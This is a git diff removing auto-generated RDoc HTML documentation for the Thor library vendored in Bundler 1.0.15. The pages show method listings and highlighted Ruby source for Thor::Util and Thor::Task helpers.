-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="handle-argument-error--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 79</span>
-79:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">handle_argument_error?</span>(<span class="ruby-identifier">instance</span>, <span class="ruby-identifier">error</span>, <span class="ruby-identifier">caller</span>)
-80:       <span class="ruby-identifier">not_debugging?</span>(<span class="ruby-identifier">instance</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">error</span>.<span class="ruby-identifier">message</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/wrong number of arguments/</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-keyword kw">begin</span>
-81:         <span class="ruby-identifier">saned</span> = <span class="ruby-identifier">sans_backtrace</span>(<span class="ruby-identifier">error</span>.<span class="ruby-identifier">backtrace</span>, <span class="ruby-identifier">caller</span>)
-82:         <span class="ruby-comment cmt"># Ruby 1.9 always include the called method in the backtrace</span>
-83:         <span class="ruby-identifier">saned</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">||</span> (<span class="ruby-identifier">saned</span>.<span class="ruby-identifier">size</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&gt;=</span> <span class="ruby-value str">&quot;1.9&quot;</span>)
-84:       <span class="ruby-keyword kw">end</span>
-85:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="handle-no-method-error--method" class="method-detail ">
-				<a name="method-i-handle_no_method_error%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">handle_no_method_error?</span><span
-						class="method-args">(instance, error, caller)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="handle-no-method-error--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 87</span>
-87:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">handle_no_method_error?</span>(<span class="ruby-identifier">instance</span>, <span class="ruby-identifier">error</span>, <span class="ruby-identifier">caller</span>)
-88:       <span class="ruby-identifier">not_debugging?</span>(<span class="ruby-identifier">instance</span>) <span class="ruby-operator">&amp;&amp;</span>
-89:         <span class="ruby-identifier">error</span>.<span class="ruby-identifier">message</span> <span class="ruby-operator">=~</span> <span class="ruby-node">/^undefined method `#{name}' for #{Regexp.escape(instance.to_s)}$/</span>
-90:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="not-debugging--method" class="method-detail ">
-				<a name="method-i-not_debugging%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">not_debugging?</span><span
-						class="method-args">(instance)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="not-debugging--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 60</span>
-60:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">not_debugging?</span>(<span class="ruby-identifier">instance</span>)
-61:       <span class="ruby-operator">!</span>(<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:debugging</span>) <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">instance</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">debugging</span>)
-62:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="required-options-method" class="method-detail ">
-				<a name="method-i-required_options"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">required_options</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="required-options-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/task.rb, line 64</span>
-64:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">required_options</span>
-65:       <span class="ruby-ivar">@required_options</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">map</span>{ <span class="ruby-operator">|</span><span class="ruby-identifier">_</span>, <span class="ruby-identifier">o</span><span class="ruby-operator">|</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">usage</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">required?</span> }.<span class="ruby-identifier">compact</span>.<span class="ruby-identifier">sort</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot; &quot;</span>)
-66:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/UndefinedTaskError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/UndefinedTaskError.html
deleted file mode 100644
index 300793af..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/UndefinedTaskError.html
+++ /dev/null
@@ -1,333 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Thor::UndefinedTaskError</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
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-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../index.html">Home</a>
-          <a href="../index.html#classes">Classes</a>
-          <a href="../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../lib/bundler/vendor/thor/error_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/error.rb">lib/bundler/vendor/thor/error.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="Error.html">Thor::Error</a></p>
-				
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-			
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-			<!-- Namespace Contents -->
-			
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-			
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-			
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-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-config.html">bundle-config</a></li>
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-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-install.html">bundle-install</a></li>
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-					<li class="file"><a href="../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../lib/bundler/man/bundle-package.html">bundle-package</a></li>
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-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/UnknownArgumentError.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/UnknownArgumentError.html
deleted file mode 100644
index 57711c3d..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/UnknownArgumentError.html
+++ /dev/null
@@ -1,330 +0,0 @@
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-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Util.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Util.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Util.html
+++ /dev/null
@@ -1,1004 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-camel_case">::camel_case</a></li>
-					
-					<li><a href="#method-c-find_by_namespace">::find_by_namespace</a></li>
-					
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-			</div>
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-	</div>
-
-	<div id="documentation">
-		<h1 class="module">Thor::Util</h1>
-
-		<div id="description">
-			<p>
-This module holds several utilities:
-</p>
-<p>
-1) Methods to convert thor namespaces to constants and vice-versa.
-</p>
-<pre>
-  Thor::Utils.namespace_from_thor_class(Foo::Bar::Baz) #=&gt; &quot;foo:bar:baz&quot;
-</pre>
-<p>
-2) Loading thor files and sandboxing:
-</p>
-<pre>
-  Thor::Utils.load_thorfile(&quot;~/.thor/foo&quot;)</pre>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="camel-case-method" class="method-detail ">
-				<a name="method-c-camel_case"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">camel_case</span><span
-						class="method-args">(str)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a string and convert it to camel case. <a
-href="Util.html#method-c-camel_case">camel_case</a> returns CamelCase.
-</p>
-<h4>Parameters</h4>
-<p>
-String
-</p>
-<h4>Returns</h4>
-<p>
-String
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="camel-case-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 104</span>
-104:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">camel_case</span>(<span class="ruby-identifier">str</span>)
-105:       <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">str</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">str</span> <span class="ruby-operator">!~</span> <span class="ruby-regexp re">/_/</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">str</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/[A-Z]+.*/</span>
-106:       <span class="ruby-identifier">str</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">'_'</span>).<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">i</span><span class="ruby-operator">|</span> <span class="ruby-identifier">i</span>.<span class="ruby-identifier">capitalize</span> }.<span class="ruby-identifier">join</span>
-107:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="find-by-namespace-method" class="method-detail ">
-				<a name="method-c-find_by_namespace"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">find_by_namespace</span><span
-						class="method-args">(namespace)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a namespace and search for it in the <a
-href="Base.html">Thor::Base</a> subclasses.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">namespace<String></td><td><p>
-The namespace to search for.
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="find-by-namespace-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 24</span>
-24:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">find_by_namespace</span>(<span class="ruby-identifier">namespace</span>)
-25:       <span class="ruby-identifier">namespace</span> = <span class="ruby-node">&quot;default#{namespace}&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">namespace</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">namespace</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^:/</span>
-26:       <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">subclasses</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">klass</span><span class="ruby-operator">|</span> <span class="ruby-identifier">klass</span>.<span class="ruby-identifier">namespace</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">namespace</span> }
-27:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="find-class-and-task-by-namespace-method" class="method-detail ">
-				<a name="method-c-find_class_and_task_by_namespace"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">find_class_and_task_by_namespace</span><span
-						class="method-args">(namespace, fallback = true)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a namespace and tries to retrieve a <a
-href="../Thor.html">Thor</a> or Thor::Group class from it. It first
-searches for a class using the all the given namespace, if it&#8217;s not
-found, removes the highest entry and searches for the class again. If
-found, returns the highest entry as the class name.
-</p>
-<h4>Examples</h4>
-<pre>
-  class Foo::Bar &lt; Thor
-    def baz
-    end
-  end
-
-  class Baz::Foo &lt; Thor::Group
-  end
-
-  Thor::Util.namespace_to_thor_class(&quot;foo:bar&quot;)     #=&gt; Foo::Bar, nil # will invoke default task
-  Thor::Util.namespace_to_thor_class(&quot;baz:foo&quot;)     #=&gt; Baz::Foo, nil
-  Thor::Util.namespace_to_thor_class(&quot;foo:bar:baz&quot;) #=&gt; Foo::Bar, &quot;baz&quot;
-</pre>
-<h4>Parameters</h4>
-<p>
-namespace<String>
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="find-class-and-task-by-namespace-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 131</span>
-131:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">find_class_and_task_by_namespace</span>(<span class="ruby-identifier">namespace</span>, <span class="ruby-identifier">fallback</span> = <span class="ruby-keyword kw">true</span>)
-132:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">namespace</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-value">::</span>) <span class="ruby-comment cmt"># look for a namespaced task</span>
-133:         <span class="ruby-identifier">pieces</span> = <span class="ruby-identifier">namespace</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">&quot;:&quot;</span>)
-134:         <span class="ruby-identifier">task</span>   = <span class="ruby-identifier">pieces</span>.<span class="ruby-identifier">pop</span>
-135:         <span class="ruby-identifier">klass</span>  = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Util</span>.<span class="ruby-identifier">find_by_namespace</span>(<span class="ruby-identifier">pieces</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;:&quot;</span>))
-136:       <span class="ruby-keyword kw">end</span>
-137:       <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">klass</span> <span class="ruby-comment cmt"># look for a Thor::Group with the right name</span>
-138:         <span class="ruby-identifier">klass</span>, <span class="ruby-identifier">task</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Util</span>.<span class="ruby-identifier">find_by_namespace</span>(<span class="ruby-identifier">namespace</span>), <span class="ruby-keyword kw">nil</span>
-139:       <span class="ruby-keyword kw">end</span>
-140:       <span class="ruby-keyword kw">if</span> <span class="ruby-operator">!</span><span class="ruby-identifier">klass</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">fallback</span> <span class="ruby-comment cmt"># try a task in the default namespace</span>
-141:         <span class="ruby-identifier">task</span> = <span class="ruby-identifier">namespace</span>
-142:         <span class="ruby-identifier">klass</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Util</span>.<span class="ruby-identifier">find_by_namespace</span>(<span class="ruby-value str">''</span>)
-143:       <span class="ruby-keyword kw">end</span>
-144:       <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">klass</span>, <span class="ruby-identifier">task</span>
-145:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="globs-for-method" class="method-detail ">
-				<a name="method-c-globs_for"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">globs_for</span><span
-						class="method-args">(path)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Where to look for <a href="../Thor.html">Thor</a> files.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="globs-for-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 210</span>
-210:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">globs_for</span>(<span class="ruby-identifier">path</span>)
-211:       [<span class="ruby-node">&quot;#{path}/Thorfile&quot;</span>, <span class="ruby-node">&quot;#{path}/*.thor&quot;</span>, <span class="ruby-node">&quot;#{path}/tasks/*.thor&quot;</span>, <span class="ruby-node">&quot;#{path}/lib/tasks/*.thor&quot;</span>]
-212:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="load-thorfile-method" class="method-detail ">
-				<a name="method-c-load_thorfile"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">load_thorfile</span><span
-						class="method-args">(path, content=nil, debug=false)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a path and load the thor file in the path. The file is evaluated
-inside the sandbox to avoid namespacing conflicts.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="load-thorfile-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 150</span>
-150:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">load_thorfile</span>(<span class="ruby-identifier">path</span>, <span class="ruby-identifier">content</span>=<span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">debug</span>=<span class="ruby-keyword kw">false</span>)
-151:       <span class="ruby-identifier">content</span> <span class="ruby-operator">||=</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">binread</span>(<span class="ruby-identifier">path</span>)
-152: 
-153:       <span class="ruby-keyword kw">begin</span>
-154:         <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Sandbox</span>.<span class="ruby-identifier">class_eval</span>(<span class="ruby-identifier">content</span>, <span class="ruby-identifier">path</span>)
-155:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Exception</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-156:         <span class="ruby-identifier">$stderr</span>.<span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;WARNING: unable to load thorfile #{path.inspect}: #{e.message}&quot;</span>
-157:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">debug</span>
-158:           <span class="ruby-identifier">$stderr</span>.<span class="ruby-identifier">puts</span> *<span class="ruby-identifier">e</span>.<span class="ruby-identifier">backtrace</span>
-159:         <span class="ruby-keyword kw">else</span>
-160:           <span class="ruby-identifier">$stderr</span>.<span class="ruby-identifier">puts</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">backtrace</span>.<span class="ruby-identifier">first</span>
-161:         <span class="ruby-keyword kw">end</span>
-162:       <span class="ruby-keyword kw">end</span>
-163:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="namespace-from-thor-class-method" class="method-detail ">
-				<a name="method-c-namespace_from_thor_class"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">namespace_from_thor_class</span><span
-						class="method-args">(constant)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a constant and converts it to a <a href="../Thor.html">Thor</a>
-namespace. Since <a href="../Thor.html">Thor</a> tasks can be added to a
-sandbox, this method is also responsable for removing the sandbox
-namespace.
-</p>
-<p>
-This method should not be used in general because it&#8217;s used to deal
-with older versions of <a href="../Thor.html">Thor</a>. On current
-versions, if you need to get the namespace from a class, just call
-namespace on it.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">constant<Object></td><td><p>
-The constant to be converted to the thor path.
-</p>
-</td></tr>
-</table>
-<h4>Returns</h4>
-<table>
-<tr><td valign="top">String</td><td><p>
-If we receive Foo::Bar::Baz it returns &#8220;foo:bar:baz&#8220;
-</p>
-</td></tr>
-</table>
-					
-
-					
-					<div class="method-source-code"
-						id="namespace-from-thor-class-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 43</span>
-43:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">namespace_from_thor_class</span>(<span class="ruby-identifier">constant</span>)
-44:       <span class="ruby-identifier">constant</span> = <span class="ruby-identifier">constant</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/^Thor::Sandbox::/</span>, <span class="ruby-value str">&quot;&quot;</span>)
-45:       <span class="ruby-identifier">constant</span> = <span class="ruby-identifier">snake_case</span>(<span class="ruby-identifier">constant</span>).<span class="ruby-identifier">squeeze</span>(<span class="ruby-value str">&quot;:&quot;</span>)
-46:       <span class="ruby-identifier">constant</span>
-47:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="namespaces-in-content-method" class="method-detail ">
-				<a name="method-c-namespaces_in_content"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">namespaces_in_content</span><span
-						class="method-args">(contents, file=__FILE__)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Given the contents, evaluate it inside the sandbox and returns the
-namespaces defined in the sandbox.
-</p>
-<h4>Parameters</h4>
-<p>
-contents<String>
-</p>
-<h4>Returns</h4>
-<p>
-Array[Object]
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="namespaces-in-content-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 58</span>
-58:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">namespaces_in_content</span>(<span class="ruby-identifier">contents</span>, <span class="ruby-identifier">file</span>=<span class="ruby-keyword kw">__FILE__</span>)
-59:       <span class="ruby-identifier">old_constants</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">subclasses</span>.<span class="ruby-identifier">dup</span>
-60:       <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">subclasses</span>.<span class="ruby-identifier">clear</span>
-61: 
-62:       <span class="ruby-identifier">load_thorfile</span>(<span class="ruby-identifier">file</span>, <span class="ruby-identifier">contents</span>)
-63: 
-64:       <span class="ruby-identifier">new_constants</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">subclasses</span>.<span class="ruby-identifier">dup</span>
-65:       <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Base</span>.<span class="ruby-identifier">subclasses</span>.<span class="ruby-identifier">replace</span>(<span class="ruby-identifier">old_constants</span>)
-66: 
-67:       <span class="ruby-identifier">new_constants</span>.<span class="ruby-identifier">map!</span>{ <span class="ruby-operator">|</span><span class="ruby-identifier">c</span><span class="ruby-operator">|</span> <span class="ruby-identifier">c</span>.<span class="ruby-identifier">namespace</span> }
-68:       <span class="ruby-identifier">new_constants</span>.<span class="ruby-identifier">compact!</span>
-69:       <span class="ruby-identifier">new_constants</span>
-70:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="ruby-command-method" class="method-detail ">
-				<a name="method-c-ruby_command"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">ruby_command</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Return the path to the ruby interpreter taking into account multiple
-installations and windows extensions.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="ruby-command-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 217</span>
-217:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">ruby_command</span>
-218:       <span class="ruby-ivar">@ruby_command</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-219:         <span class="ruby-identifier">ruby</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">join</span>(<span class="ruby-constant">RbConfig</span><span class="ruby-operator">::</span><span class="ruby-constant">CONFIG</span>[<span class="ruby-value str">'bindir'</span>], <span class="ruby-constant">RbConfig</span><span class="ruby-operator">::</span><span class="ruby-constant">CONFIG</span>[<span class="ruby-value str">'ruby_install_name'</span>])
-220:         <span class="ruby-identifier">ruby</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">RbConfig</span><span class="ruby-operator">::</span><span class="ruby-constant">CONFIG</span>[<span class="ruby-value str">'EXEEXT'</span>]
-221: 
-222:         <span class="ruby-comment cmt"># escape string in case path to ruby executable contain spaces.</span>
-223:         <span class="ruby-identifier">ruby</span>.<span class="ruby-identifier">sub!</span>(<span class="ruby-regexp re">/.*\s.*/</span>, <span class="ruby-value str">'&quot;\&amp;&quot;'</span>)
-224:         <span class="ruby-identifier">ruby</span>
-225:       <span class="ruby-keyword kw">end</span>
-226:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="snake-case-method" class="method-detail ">
-				<a name="method-c-snake_case"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">snake_case</span><span
-						class="method-args">(str)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Receives a string and convert it to snake case. SnakeCase returns
-snake_case.
-</p>
-<h4>Parameters</h4>
-<p>
-String
-</p>
-<h4>Returns</h4>
-<p>
-String
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="snake-case-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/util.rb, line 90</span>
-90:     <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">snake_case</span>(<span class="ruby-identifier">str</span>)
-91:       <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">str</span>.<span class="ruby-identifier">downcase</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">str</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^[A-Z_]+$/</span>
-92:       <span class="ruby-identifier">str</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp re">/\B[A-Z]/</span>, <span class="ruby-value str">'_\&amp;'</span>).<span class="ruby-identifier">squeeze</span>(<span class="ruby-value str">'_'</span>) <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/_*(.*)/</span>
-93:       <span class="ruby-keyword kw">return</span> <span class="ruby-node">$+</span>.<span class="ruby-identifier">downcase</span>
-94:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="thor-classes-in-method" class="method-detail ">
-				<a name="method-c-thor_classes_in"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">thor_classes_in</span><span
-						class="method-args">(klass)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
